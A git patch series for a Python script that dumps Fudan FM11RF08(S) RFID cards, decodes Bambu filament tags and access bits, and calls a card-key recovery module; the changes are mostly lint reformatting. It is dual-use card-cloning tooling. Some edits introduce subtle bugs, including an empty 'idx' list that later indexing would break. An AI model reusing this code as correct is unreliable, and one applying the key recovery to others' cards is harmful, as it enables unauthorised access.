-#+============================================================================= +# 6 18 30 42 53 +# | | | | | +# 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... +# +============================================================================= def dumpBambu(): - global data + global data - try: - lprint(f"{prompt}") - lprint(f"{prompt} ===========") - lprint(f"{prompt} Bambu Tag") - lprint(f"{prompt} ===========") - lprint(f"{prompt}") - lprint(f"{prompt} Decompose as Bambu tag .. ", end='') + try: + lprint(f"{prompt}") + lprint(f"{prompt} ===========") + lprint(f"{prompt} Bambu Tag") + lprint(f"{prompt} ===========") + lprint(f"{prompt}") + lprint(f"{prompt} Decompose as Bambu tag .. ", end='') - MaterialVariantIdentifier_s = bytes.fromhex(data[1][ 6:29]).decode('ascii').rstrip('\x00') - UniqueMaterialIdentifier_s = bytes.fromhex(data[1][30:53]).decode('ascii').rstrip('\x00') #[**] 8not16 + MaterialVariantIdentifier_s = bytes.fromhex(data[1][6:29]).decode('ascii').rstrip('\x00') + UniqueMaterialIdentifier_s = bytes.fromhex(data[1][30:53]).decode('ascii').rstrip('\x00') # [**] 8not16 - FilamentType_s = bytes.fromhex(data[2][ 6:53]).decode('ascii').rstrip('\x00') + FilamentType_s = bytes.fromhex(data[2][6:53]).decode('ascii').rstrip('\x00') - DetailedFilamentType_s = bytes.fromhex(data[4][ 6:53]).decode('ascii').rstrip('\x00') + DetailedFilamentType_s = bytes.fromhex(data[4][6:53]).decode('ascii').rstrip('\x00') - Colour_rgba = int(data[5][ 6:17].replace(' ',''), 16) - SpoolWeight_g = int(data[5][21:23] + data[5][18:20], 16) - Block5_7to8 = data[5][24:29] - FilamentDiameter_mm = struct.unpack('f', bytes.fromhex(data[5][30:41].replace(' ','')))[0] - Block5_12to15 = data[5][42:50] + Colour_rgba = int(data[5][6:17].replace(' ', ''), 16) + SpoolWeight_g = int(data[5][21:23] + data[5][18:20], 16) + Block5_7to8 = data[5][24:29] + FilamentDiameter_mm = struct.unpack('f', bytes.fromhex(data[5][30:41].replace(' ', '')))[0] + Block5_12to15 = data[5][42:50] - DryingTemperature_c = int(data[6][ 9:11] + data[6][ 6: 8], 16) - DryingTime_h = int(data[6][15:17] + data[6][12:14], 16) - BedTemperatureType_q = int(data[6][21:23] + data[6][18:20], 16) - BedTemperature_c = int(data[6][27:29] + data[6][24:26], 16) - MaxTemperatureForHotend_c = int(data[6][33:35] + data[6][30:32], 16) - MinTemperatureForHotend_c = int(data[6][39:41] + data[6][36:38], 16) - Block6_12to15 = data[6][42:50] + DryingTemperature_c = int(data[6][9:11] + data[6][6: 8], 16) + DryingTime_h = int(data[6][15:17] + data[6][12:14], 16) + BedTemperatureType_q = int(data[6][21:23] + data[6][18:20], 16) + BedTemperature_c = int(data[6][27:29] + data[6][24:26], 16) + MaxTemperatureForHotend_c = int(data[6][33:35] + data[6][30:32], 16) + MinTemperatureForHotend_c = int(data[6][39:41] + data[6][36:38], 16) + Block6_12to15 = data[6][42:50] -# XCamInfo_x = bytes.fromhex(data[8][ 6:41].replace(' ','')) - XCamInfo_x = data[8][ 6:41] - NozzleDiameter_q = struct.unpack('f', bytes.fromhex(data[8][42:53].replace(' ','')))[0] + # XCamInfo_x = bytes.fromhex(data[8][6:41].replace(' ', '')) + XCamInfo_x = data[8][6:41] + NozzleDiameter_q = struct.unpack('f', bytes.fromhex(data[8][42:53].replace(' ', '')))[0] -# TrayUID_s = bytes.fromhex(data[9][ 6:53]).decode('ascii').rstrip('\x00') #[**] !ascii - TrayUID_s = data[9][ 6:53] + # TrayUID_s = bytes.fromhex(data[9][6:53]).decode('ascii').rstrip('\x00') #[**] !ascii + TrayUID_s = data[9][6:53] - Block10_0to3 = data[10][ 6:17] - SppolWidth_um = int(data[10][21:23] + data[14][18:20], 16) - Block10_6to15 = data[10][24:50] + Block10_0to3 = data[10][6:17] + SppolWidth_um = int(data[10][21:23] + data[14][18:20], 16) + Block10_6to15 = data[10][24:50] - ProductionDateTime_s = bytes.fromhex(data[12][ 6:53]).decode('ascii').rstrip('\x00') + ProductionDateTime_s = bytes.fromhex(data[12][6:53]).decode('ascii').rstrip('\x00') - ShortProductionDateTime_s = bytes.fromhex(data[13][ 6:53]).decode('ascii').rstrip('\x00') + ShortProductionDateTime_s = bytes.fromhex(data[13][6:53]).decode('ascii').rstrip('\x00') - Block14_0to3 = data[14][ 6:17] - FilamentLength_m = int(data[14][21:23] + data[14][18:20], 16) - Block14_6to15 = data[14][24:51] + # Block14_0to3 = data[14][6:17] + FilamentLength_m = int(data[14][21:23] + data[14][18:20], 16) + # Block14_6to15 = data[14][24:51] - # (16blocks * 16bytes = 256) * 8bits = 2048 bits - hblk = [42, 44,45,46, 48,49,50, 52,53,54, 56,57,58, 60,61,62] - Hash = [] - for b in hblk: - Hash.append(data[b][6:53]) + # (16blocks * 16bytes = 256) * 8bits = 2048 bits + hblk = [42, + 44, 45, 46, + 48, 49, 50, + 52, 53, 54, + 56, 57, 58, + 60, 61, 62] + Hash = [] + for b in hblk: + Hash.append(data[b][6:53]) - lprint("[offset:length]") - lprint(f"{prompt} Block 1:") - lprint(f"{prompt} [ 0: 8] MaterialVariantIdentifier_s = \"{MaterialVariantIdentifier_s}\"") - lprint(f"{prompt} [ 8: 8] UniqueMaterialIdentifier_s = \"{UniqueMaterialIdentifier_s}\"") - lprint(f"{prompt} Block 2:") - lprint(f"{prompt} [ 0:16] FilamentType_s = \"{FilamentType_s}\"") - lprint(f"{prompt} Block 4:") - lprint(f"{prompt} [ 0:16] DetailedFilamentType_s = \"{DetailedFilamentType_s}\"") - lprint(f"{prompt} Block 5:") - lprint(f"{prompt} [ 0: 4] Colour_rgba = 0x{Colour_rgba:08X}") - lprint(f"{prompt} [ 4: 2] SpoolWeight_g = {SpoolWeight_g}g") - lprint(f"{prompt} [ 6: 2] Block5_7to8 = {{{Block5_7to8}}}") - lprint(f"{prompt} [ 8: 4] FilamentDiameter_mm = {FilamentDiameter_mm}mm") - lprint(f"{prompt} [12: 4] Block5_12to15 = {{{Block5_12to15}}}") - lprint(f"{prompt} Block 6:") - lprint(f"{prompt} [ 0: 2] DryingTemperature_c = {DryingTemperature_c}^C") - lprint(f"{prompt} [ 2: 2] DryingTime_h = {DryingTime_h}hrs") - lprint(f"{prompt} [ 4: 4] BedTemperatureType_q = {BedTemperatureType_q}") - lprint(f"{prompt} [ 6: 2] BedTemperature_c = {BedTemperature_c}^C") - lprint(f"{prompt} [ 8: 2] MaxTemperatureForHotend_c = {MaxTemperatureForHotend_c}^C") - lprint(f"{prompt} [10: 2] MinTemperatureForHotend_c = {MinTemperatureForHotend_c}^C") - lprint(f"{prompt} [12: 4] Block6_12to15 = {{{Block6_12to15}}}") - lprint(f"{prompt} Block 8:") - lprint(f"{prompt} [ 0:12] XCamInfo_x = {{{XCamInfo_x}}}") - lprint(f"{prompt} [12: 4] NozzleDiameter_q = {NozzleDiameter_q:.6f}__") - lprint(f"{prompt} Block 9:") -# lprint(f"{prompt} [ 0:16] TrayUID_s = \"{TrayUID_s}\"") - lprint(f"{prompt} [ 0:16] TrayUID_s = {{{TrayUID_s}}} ; not ASCII") - lprint(f"{prompt} Block 10:") - lprint(f"{prompt} [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") - lprint(f"{prompt} [ 4: 2] SppolWidth_um = {SppolWidth_um}um") - lprint(f"{prompt} [ 6:10] Block10_6to15 = {{{Block10_6to15}}}") - lprint(f"{prompt} Block 12:") - lprint(f"{prompt} [ 0:16] ProductionDateTime_s = \"{ProductionDateTime_s}\"") - lprint(f"{prompt} Block 13:") - lprint(f"{prompt} [ 0:16] ShortProductionDateTime_s = \"{ShortProductionDateTime_s}\"") - lprint(f"{prompt} Block 14:") - lprint(f"{prompt} [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") - lprint(f"{prompt} [ 4: 2] FilamentLength_m = {FilamentLength_m}m") - lprint(f"{prompt} [ 6:10] Block10_6to15 = {{{Block10_6to15}}}") - lprint(f"{prompt}") - lprint(f"{prompt} Blocks {hblk}:") - for i in range(0, len(hblk)): - lprint(f"{prompt} [ 0:16] HashBlock[{i:2d}] = {{{Hash[i]}}} // #{hblk[i]:2d}") + lprint("[offset:length]") + lprint(f"{prompt} Block 1:") + lprint(f"{prompt} [ 0: 8] MaterialVariantIdentifier_s = \"{MaterialVariantIdentifier_s}\"") + lprint(f"{prompt} [ 8: 8] UniqueMaterialIdentifier_s = \"{UniqueMaterialIdentifier_s}\"") + lprint(f"{prompt} Block 2:") + lprint(f"{prompt} [ 0:16] FilamentType_s = \"{FilamentType_s}\"") + lprint(f"{prompt} Block 4:") + lprint(f"{prompt} [ 0:16] DetailedFilamentType_s = \"{DetailedFilamentType_s}\"") + lprint(f"{prompt} Block 5:") + lprint(f"{prompt} [ 0: 4] Colour_rgba = 0x{Colour_rgba:08X}") + lprint(f"{prompt} [ 4: 2] SpoolWeight_g = {SpoolWeight_g}g") + lprint(f"{prompt} [6: 2] Block5_7to8 = {{{Block5_7to8}}}") + lprint(f"{prompt} [ 8: 4] FilamentDiameter_mm = {FilamentDiameter_mm}mm") + lprint(f"{prompt} [12: 4] Block5_12to15 = {{{Block5_12to15}}}") + lprint(f"{prompt} Block 6:") + lprint(f"{prompt} [ 0: 2] DryingTemperature_c = {DryingTemperature_c}^C") + lprint(f"{prompt} [ 2: 2] DryingTime_h = {DryingTime_h}hrs") + lprint(f"{prompt} [ 4: 4] BedTemperatureType_q = {BedTemperatureType_q}") + lprint(f"{prompt} [6: 2] BedTemperature_c = {BedTemperature_c}^C") + lprint(f"{prompt} [ 8: 2] MaxTemperatureForHotend_c = {MaxTemperatureForHotend_c}^C") + lprint(f"{prompt} [10: 2] MinTemperatureForHotend_c = {MinTemperatureForHotend_c}^C") + lprint(f"{prompt} [12: 4] Block6_12to15 = {{{Block6_12to15}}}") + lprint(f"{prompt} Block 8:") + lprint(f"{prompt} [ 0:12] XCamInfo_x = {{{XCamInfo_x}}}") + lprint(f"{prompt} [12: 4] NozzleDiameter_q = {NozzleDiameter_q:.6f}__") + lprint(f"{prompt} Block 9:") + # lprint(f"{prompt} [ 0:16] TrayUID_s = \"{TrayUID_s}\"") + lprint(f"{prompt} [ 0:16] TrayUID_s = {{{TrayUID_s}}} ; not ASCII") + lprint(f"{prompt} Block 10:") + lprint(f"{prompt} [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") + lprint(f"{prompt} [ 4: 2] SppolWidth_um = {SppolWidth_um}um") + lprint(f"{prompt} [6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(f"{prompt} Block 12:") + lprint(f"{prompt} [ 0:16] ProductionDateTime_s = \"{ProductionDateTime_s}\"") + lprint(f"{prompt} Block 13:") + lprint(f"{prompt} [ 0:16] ShortProductionDateTime_s = \"{ShortProductionDateTime_s}\"") + lprint(f"{prompt} Block 14:") + lprint(f"{prompt} [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") + lprint(f"{prompt} [ 4: 2] FilamentLength_m = {FilamentLength_m}m") + lprint(f"{prompt} [6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(f"{prompt}") + lprint(f"{prompt} Blocks {hblk}:") + for i in range(0, len(hblk)): + lprint(f"{prompt} [ 0:16] HashBlock[{i:2d}] = {{{Hash[i]}}} // #{hblk[i]:2d}") - except Exception as e: - lprint(f"Failed: {e}") + except Exception as e: + lprint(f"Failed: {e}") -#+============================================================================= + +# +============================================================================= # Dump ACL # >> "data[][]" -''' - 6 18 24 27 30 33 42 53 - | | | | | | | | - 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... - ab cd ef -''' -''' - ,-------------------. -( 2.2 : ACCESS BITS ) - `-------------------' +# 6 18 24 27 30 33 42 53 +# | | | | | | | | +# 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... +# ab cd ef +# +# ,-------------------. +# ( 2.2 : ACCESS BITS ) +# `-------------------' - The Access bits on both (used) Sectors is the same: 78 77 88 +# The Access bits on both (used) Sectors is the same: 78 77 88 - Let's reorganise that according to the official spec Fig 9. - Access C1 C2 C3 - ========== =========== - 78 77 88 --> 78 87 87 - ab cd ef --> cb fa ed +# Let's reorganise that according to the official spec Fig 9. +# Access C1 C2 C3 +# ========== =========== +# 78 77 88 --> 78 87 87 +# ab cd ef --> cb fa ed - The second nybble of each byte is the inverse of the first nybble. - It is there to trap tranmission errors, so we can just ignore it/them. +# The second nybble of each byte is the inverse of the first nybble. +# It is there to trap tranmission errors, so we can just ignore it/them. - So our Access Control value is : {c, f, e} == {7, 8, 8} +# So our Access Control value is : {c, f, e} == {7, 8, 8} - Let's convert those nybbles to binary - (c) 7 --> 0111 - (f) 8 --> 1000 - (e) 8 --> 1000 - |||| ...and transpose them: - |||| - |||`--- 100 - Block 0 Access bits - ||`---- 100 - Block 1 Access bits - |`----- 100 - Block 2 Access bits - `------ 011 - Block 3 Access bits [Sector Trailer] +# Let's convert those nybbles to binary +# (c) 7 --> 0111 +# (f) 8 --> 1000 +# (e) 8 --> 1000 +# |||| ...and transpose them: +# |||| +# |||`--- 100 - Block 0 Access bits +# ||`---- 100 - Block 1 Access bits +# |`----- 100 - Block 2 Access bits +# `------ 011 - Block 3 Access bits [Sector Trailer] - Now we can use the lookup table [Table 3] to work out what we can do - with the Sector Trailer (Block(S,3)): - - | Key A | | Access Bits | | Key B | - | read ¦ write | | read ¦ write | | read ¦ write | - +------¦-------+ +------¦-------+ +------¦-------+ - 000 : | -- ¦ KeyA | | KeyA ¦ -- | | KeyA ¦ KeyA | - 001 : | -- ¦ KeyA | | KeyA ¦ KeyA | | KeyA ¦ KeyA | Transport Mode - 010 : | -- ¦ -- | | KeyA ¦ -- | | KeyA ¦ -- | +# Now we can use the lookup table [Table 3] to work out what we can do +# with the Sector Trailer (Block(S,3)): - 011 : | -- ¦ KeyB | | A+B ¦ KeyB | | -- ¦ KeyB | <-- Our Card! +# | Key A | | Access Bits | | Key B | +# | read ¦ write | | read ¦ write | | read ¦ write | +# +------¦-------+ +------¦-------+ +------¦-------+ +# 000 : | -- ¦ KeyA | | KeyA ¦ -- | | KeyA ¦ KeyA | +# 001 : | -- ¦ KeyA | | KeyA ¦ KeyA | | KeyA ¦ KeyA | Transport Mode +# 010 : | -- ¦ -- | | KeyA ¦ -- | | KeyA ¦ -- | - 100 : | -- ¦ KeyB | | A+B ¦ -- | | -- ¦ KeyB | - 101 : | -- ¦ -- | | A+B ¦ KeyB | | -- ¦ -- | - 110 : | -- ¦ -- | | A+B ¦ -- | | -- ¦ -- | }__ - 111 : | -- ¦ -- | | A+B ¦ -- | | -- ¦ -- | } The Same!? - - Our card uses 011, for (both of) the (used) Sector Trailer(s). So: - Both Key A and Key B can READ the Access Bits - Key B can (additionally) WRITE to Key A, Key B (itself), and the Access Bits +# 011 : | -- ¦ KeyB | | A+B ¦ KeyB | | -- ¦ KeyB | <-- Our Card! - Then we can do a similar lookup for the 3 data Blocks (in this Sector) - This time using [Table 4] +# 100 : | -- ¦ KeyB | | A+B ¦ -- | | -- ¦ KeyB | +# 101 : | -- ¦ -- | | A+B ¦ KeyB | | -- ¦ -- | +# 110 : | -- ¦ -- | | A+B ¦ -- | | -- ¦ -- | }__ +# 111 : | -- ¦ -- | | A+B ¦ -- | | -- ¦ -- | } The Same!? - | Data | Counter | - | read ¦ write | Inc ¦ Dec | - +------¦-------+------¦------+ - 000 : | A+B ¦ A+B | A+B ¦ A+B | Transport Mode - 001 : | A+B ¦ -- | -- ¦ A+B | - 010 : | A+B ¦ -- | -- ¦ -- | - 011 : | KeyB ¦ KeyB | -- ¦ -- | +# Our card uses 011, for (both of) the (used) Sector Trailer(s). So: +# Both Key A and Key B can READ the Access Bits +# Key B can (additionally) WRITE to Key A, Key B (itself), and the Access Bits - 100 : | A+B ¦ KeyB | -- ¦ -- | <-- Our Card! +# Then we can do a similar lookup for the 3 data Blocks (in this Sector) +# This time using [Table 4] - 101 : | KeyB ¦ -- | -- ¦ -- | - 110 : | A+B ¦ KeyB | KeyB ¦ A+B | - 111 : | -- ¦ -- | -- ¦ -- | +# | Data | Counter | +# | read ¦ write | Inc ¦ Dec | +# +------¦-------+------¦------+ +# 000 : | A+B ¦ A+B | A+B ¦ A+B | Transport Mode +# 001 : | A+B ¦ -- | -- ¦ A+B | +# 010 : | A+B ¦ -- | -- ¦ -- | +# 011 : | KeyB ¦ KeyB | -- ¦ -- | - Our card uses 100, for all of the (used) Sectors. So: - Both Key A and Key B can READ the Block - Only Key B can WRITE to the Block - The block cannot be used as a "counter" because: - Neither key can perform increment nor decrement commands +# 100 : | A+B ¦ KeyB | -- ¦ -- | <-- Our Card! - WARNING: - IF YOU PLAN TO CHANGE ACCESS BITS, RTFM, THERE IS MUCH TO CONSIDER ! -''' -#============================================================================== +# 101 : | KeyB ¦ -- | -- ¦ -- | +# 110 : | A+B ¦ KeyB | KeyB ¦ A+B | +# 111 : | -- ¦ -- | -- ¦ -- | + +# Our card uses 100, for all of the (used) Sectors. So: +# Both Key A and Key B can READ the Block +# Only Key B can WRITE to the Block +# The block cannot be used as a "counter" because: +# Neither key can perform increment nor decrement commands + +# WARNING: +# IF YOU PLAN TO CHANGE ACCESS BITS, RTFM, THERE IS MUCH TO CONSIDER ! +# ============================================================================== def dumpAcl(): - global blkn + global blkn - aclkh = [] # key header - aclk = [0] * 8 # key lookup - aclkx = [] # key output + aclkh = [] # key header + aclk = [""] * 8 # key lookup + aclkx = [] # key output - lprint(f"{prompt}") - lprint(f"{prompt} =====================") - lprint(f"{prompt} Access Control List") - lprint(f"{prompt} =====================") + lprint(f"{prompt}") + lprint(f"{prompt} =====================") + lprint(f"{prompt} Access Control List") + lprint(f"{prompt} =====================") - aclkh.append(" _______________________________________________________ ") - aclkh.append("| | Sector Trailers |") - aclkh.append("| |----------------------------------------------|") - aclkh.append("| Sector |____Key_A_____||_Access_Bits__||____Key_B_____|") - aclkh.append("| | read ¦ write || read ¦ write || read ¦ write |") - aclkh.append("|--------+------¦-------++------¦-------++------¦-------|") - # "| xx | -- ¦ KeyA || KeyA ¦ -- || KeyA ¦ KeyA |" - aclk[0] = "| -- ¦ KeyA || KeyA ¦ -- || KeyA ¦ KeyA | [000]" - aclk[1] = "| -- ¦ KeyA || KeyA ¦ KeyA || KeyA ¦ KeyA | [001]" - aclk[2] = "| -- ¦ -- || KeyA ¦ -- || KeyA ¦ -- | [010]" - aclk[3] = "| -- ¦ KeyB || A+B ¦ KeyB || -- ¦ KeyB | [011]" - aclk[4] = "| -- ¦ KeyB || A+B ¦ -- || -- ¦ KeyB | [100]" - aclk[5] = "| -- ¦ -- || A+B ¦ KeyB || -- ¦ -- | [101]" - aclk[6] = "| -- ¦ -- || A+B ¦ -- || -- ¦ -- | [110]" # yes, the same!? - aclk[7] = "| -- ¦ -- || A+B ¦ -- || -- ¦ -- | [111]" # ... + aclkh.append(" _______________________________________________________ ") + aclkh.append("| | Sector Trailers |") + aclkh.append("| |----------------------------------------------|") + aclkh.append("| Sector |____Key_A_____||_Access_Bits__||____Key_B_____|") + aclkh.append("| | read ¦ write || read ¦ write || read ¦ write |") + aclkh.append("|--------+------¦-------++------¦-------++------¦-------|") + # "| xx | -- ¦ KeyA || KeyA ¦ -- || KeyA ¦ KeyA |" + aclk[0] = "| -- ¦ KeyA || KeyA ¦ -- || KeyA ¦ KeyA | [000]" # noqa: E222 + aclk[1] = "| -- ¦ KeyA || KeyA ¦ KeyA || KeyA ¦ KeyA | [001]" # noqa: E222 + aclk[2] = "| -- ¦ -- || KeyA ¦ -- || KeyA ¦ -- | [010]" # noqa: E222 + aclk[3] = "| -- ¦ KeyB || A+B ¦ KeyB || -- ¦ KeyB | [011]" # noqa: E222 + aclk[4] = "| -- ¦ KeyB || A+B ¦ -- || -- ¦ KeyB | [100]" # noqa: E222 + aclk[5] = "| -- ¦ -- || A+B ¦ KeyB || -- ¦ -- | [101]" # noqa: E222 + aclk[6] = "| -- ¦ -- || A+B ¦ -- || -- ¦ -- | [110]" # noqa: E222 # yes, the same!? + aclk[7] = "| -- ¦ -- || A+B ¦ -- || -- ¦ -- | [111]" # noqa: E222 # ... - acldh = [] # data header - acld = [0] * 8 # data lookup - acldx = [] # data output + acldh = [] # data header + acld = [""] * 8 # data lookup + acldx = [] # data output - acldh.append(" _____________________________________ ") - acldh.append("| | Data Blocks |") - acldh.append("| |-----------------------------|") - acldh.append("| Block | Data || Counter |") - acldh.append("| | read ¦ write || Inc ¦ Dec |") - acldh.append("|-------+------¦-------++------¦------+") - # "| xxx | A+B ¦ A+B || A+B ¦ A+B | " - acld[0] = "| A+B ¦ A+B || A+B ¦ A+B | [000]" - acld[1] = "| A+B ¦ -- || -- ¦ A+B | [001]" - acld[2] = "| A+B ¦ -- || -- ¦ -- | [010]" - acld[3] = "| KeyB ¦ KeyB || -- ¦ -- | [011]" - acld[4] = "| A+B ¦ KeyB || -- ¦ -- | [100]" - acld[5] = "| KeyB ¦ -- || -- ¦ -- | [101]" - acld[6] = "| A+B ¦ KeyB || KeyB ¦ A+B | [110]" - acld[7] = "| -- ¦ -- || -- ¦ -- | [111]" + acldh.append(" _____________________________________ ") + acldh.append("| | Data Blocks |") + acldh.append("| |-----------------------------|") + acldh.append("| Block | Data || Counter |") + acldh.append("| | read ¦ write || Inc ¦ Dec |") + acldh.append("|-------+------¦-------++------¦------+") + # "| xxx | A+B ¦ A+B || A+B ¦ A+B | " + acld[0] = "| A+B ¦ A+B || A+B ¦ A+B | [000]" # noqa: E222 + acld[1] = "| A+B ¦ -- || -- ¦ A+B | [001]" # noqa: E222 + acld[2] = "| A+B ¦ -- || -- ¦ -- | [010]" # noqa: E222 + acld[3] = "| KeyB ¦ KeyB || -- ¦ -- | [011]" # noqa: E222 + acld[4] = "| A+B ¦ KeyB || -- ¦ -- | [100]" # noqa: E222 + acld[5] = "| KeyB ¦ -- || -- ¦ -- | [101]" # noqa: E222 + acld[6] = "| A+B ¦ KeyB || KeyB ¦ A+B | [110]" # noqa: E222 + acld[7] = "| -- ¦ -- || -- ¦ -- | [111]" # noqa: E222 - idx = [0] * (16+2) + idx = [] * (16+2) - # --- calculate the ACL indices for each sector:block --- - for d in data: - bn = int(d[0:3], 10) + # --- calculate the ACL indices for each sector:block --- + for d in data: + bn = int(d[0:3], 10) - if ((bn % 4) == 3): - sn = (bn // 4) - sec = sn if sn < 16 else sn -16 + if ((bn % 4) == 3): + sn = (bn // 4) + sec = sn if sn < 16 else sn - 16 - c = int(d[27], 16) - f = int(d[31], 16) - e = int(d[30], 16) - r0 = ((c & (2**0)) << 2) | ((f & (2**0)) << 1) | ((e & (2**0)) ) - r1 = ((c & (2**1)) << 1) | ((f & (2**1)) ) | ((e & (2**1)) >> 1) - r2 = ((c & (2**2)) ) | ((f & (2**2)) >> 1) | ((e & (2**2)) >> 2) - r3 = ((c & (2**3)) >> 1) | ((f & (2**3)) >> 2) | ((e & (2**3)) >> 3) - idx[sec] = [r0, r1, r2, r3] + c = int(d[27], 16) + f = int(d[31], 16) + e = int(d[30], 16) + r0 = ((c & (2**0)) << 2) | ((f & (2**0)) << 1) | ((e & (2**0)) ) # noqa: E202 + r1 = ((c & (2**1)) << 1) | ((f & (2**1)) ) | ((e & (2**1)) >> 1) # noqa: E202 + r2 = ((c & (2**2)) ) | ((f & (2**2)) >> 1) | ((e & (2**2)) >> 2) # noqa: E202 + r3 = ((c & (2**3)) >> 1) | ((f & (2**3)) >> 2) | ((e & (2**3)) >> 3) # noqa: E221 + idx[sec] = [r0, r1, r2, r3] - # --- build the ACL conversion table --- - for d in data: - bn = int(d[0:3], 10) - sn = (bn // 4) - sec = sn if sn < 16 else sn -16 + # --- build the ACL conversion table --- + for d in data: + bn = int(d[0:3], 10) + sn = (bn // 4) + sec = sn if sn < 16 else sn - 16 - if ((bn%4) == 3): - aclkx.append(f"| {sn:2d} " + aclk[idx[sec][bn%4]] - + f" {{{d[24:32]}}} -> {{{d[27]}{d[31]}{d[30]}}}") - else: - acldx.append(f"| {bn:3d} " + acld[idx[sec][bn%4]]) + if ((bn % 4) == 3): + aclkx.append(f"| {sn:2d} " + aclk[idx[sec][bn % 4]] + + f" {{{d[24:32]}}} -> {{{d[27]}{d[31]}{d[30]}}}") + else: + acldx.append(f"| {bn:3d} " + acld[idx[sec][bn % 4]]) - # --- print it all out --- - for l in aclkh: - lprint(f"{prompt} {l}") - i = 0 - for l in aclkx: - lprint(f"{prompt} {l}") - if (i % 4) == 3: lprint(f"{prompt} | | ¦ || ¦ || ¦ |") - i += 1 + # --- print it all out --- + for line in aclkh: + lprint(f"{prompt} {line}") + i = 0 + for line in aclkx: + lprint(f"{prompt} {line}") + if (i % 4) == 3: + lprint(f"{prompt} | | ¦ || ¦ || ¦ |") + i += 1 - lprint(f"{prompt}") + lprint(f"{prompt}") - for l in acldh: - lprint(f"{prompt} {l}") - i = 0 - for l in acldx: - lprint(f"{prompt} {l}") - if (i % 3) == 2: lprint(f"{prompt} | | ¦ || ¦ |") - i += 1 + for line in acldh: + lprint(f"{prompt} {line}") + i = 0 + for line in acldx: + lprint(f"{prompt} {line}") + if (i % 3) == 2: + lprint(f"{prompt} | | ¦ || ¦ |") + i += 1 -#+============================================================================= + +# +============================================================================= # Full Dump # >> "uid" # >> "dump18" -#============================================================================== +# ============================================================================== def diskDump(): - global uid - global dump18 + global uid + global dump18 - dump18 = f"{dpath}hf-mf-{uid:08X}-dump18.bin" + dump18 = f"{dpath}hf-mf-{uid:08X}-dump18.bin" - lprint(prompt) - lprint(f"{prompt} Dump Card Data to file: {dump18}") + lprint(prompt) + lprint(f"{prompt} Dump Card Data to file: {dump18}") - bad = False - with open(dump18, 'wb') as f: - for d in data: - if "--" in d[6:53]: bad = True - b = bytes.fromhex(d[6:53].replace(" ", "").replace("--","FF")) - f.write(b) - if bad: lprint(f"{prompt} Bad data exists, and has been saved as 0xFF") + bad = False + with open(dump18, 'wb') as f: + for d in data: + if "--" in d[6:53]: + bad = True + b = bytes.fromhex(d[6:53].replace(" ", "").replace("--", "FF")) + f.write(b) + if bad: + lprint(f"{prompt} Bad data exists, and has been saved as 0xFF") -#+============================================================================= + +# +============================================================================= # Dump MAD # >> "dump18" -#============================================================================== +# ============================================================================== def dumpMad(): - global dump18 + global dump18 - lprint(f"{prompt}") - lprint(f"{prompt} ====================================") - lprint(f"{prompt} MiFare Application Directory (MAD)") - lprint(f"{prompt} ====================================") - lprint(f"{prompt}") + lprint(f"{prompt}") + lprint(f"{prompt} ====================================") + lprint(f"{prompt} MiFare Application Directory (MAD)") + lprint(f"{prompt} ====================================") + lprint(f"{prompt}") - cmd=f"hf mf mad --verbose --file {dump18}" - print(f"{prompt} `{cmd}`") + cmd = f"hf mf mad --verbose --file {dump18}" + print(f"{prompt} `{cmd}`") - lprint(f"{prompt}") - lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + lprint(f"{prompt}") + lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') - lprint("") - res = p.console(f"{cmd}") + lprint("") + p.console(f"{cmd}") - for line in p.grabbed_output.split('\n'): - lprint(line) + for line in p.grabbed_output.split('\n'): + lprint(line) - lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') -#++============================================================================ + +# ++============================================================================ if __name__ == "__main__": - main() + main() diff --git a/client/pyscripts/fm11rf08s_recovery.py b/client/pyscripts/fm11rf08s_recovery.py index 490ed5e44..2cb2634d7 100755 --- a/client/pyscripts/fm11rf08s_recovery.py +++ b/client/pyscripts/fm11rf08s_recovery.py @@ -623,7 +623,7 @@ def recovery(init_check=False, final_check=False, keep=False, debug=False, suppl show("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " + color(f"{seconds:2}", fg="yellow") + " seconds -----------") - return {'keyfile':keyfile, 'found_keys':found_keys, 'dumpfile':dumpfile, 'data':data} + return {'keyfile': keyfile, 'found_keys': found_keys, 'dumpfile': dumpfile, 'data': data} def main(): From 5e2b093b3e714e6dfe230b6b2faec4dfb1c6d75c Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 14:35:46 +0100 Subject: [PATCH 084/155] python script: start making changes as discussed in the MR, wip --- client/pyscripts/fm11rf08_full.py | 31 +++++++++++++++++-------------- 1 file changed, 17 insertions(+), 14 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 7b28fb783..291795cf1 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -10,7 +10,6 @@ import argparse import pm3 import struct import json -import requests from fm11rf08s_recovery import recovery @@ -85,20 +84,21 @@ def main(): global prompt global p - prompt = "[bc]" + prompt = "[=]" p = pm3.pm3() # console interface getPrefs() - checkVer() + if not checkVer(): + return parseCli() print(f"{prompt} Fudan FM11RF08[S] full card recovery") - print(f"{prompt} (C)Copyright BlueChip, Nov/2024") print(prompt) print(f"{prompt} Dump folder: {dpath}") - getDarkKey() + if not getDarkKey(): + return decodeBlock0() global keyfile @@ -122,7 +122,7 @@ def main(): if verifyKeys() is False: if args.nokeys is False: lprint(f"{prompt} ! Use --nokeys to keep going past this point") - exit(101) + return readBlocks() patchKeys(keyok) @@ -164,7 +164,8 @@ def checkVer(): if sys.version_info < 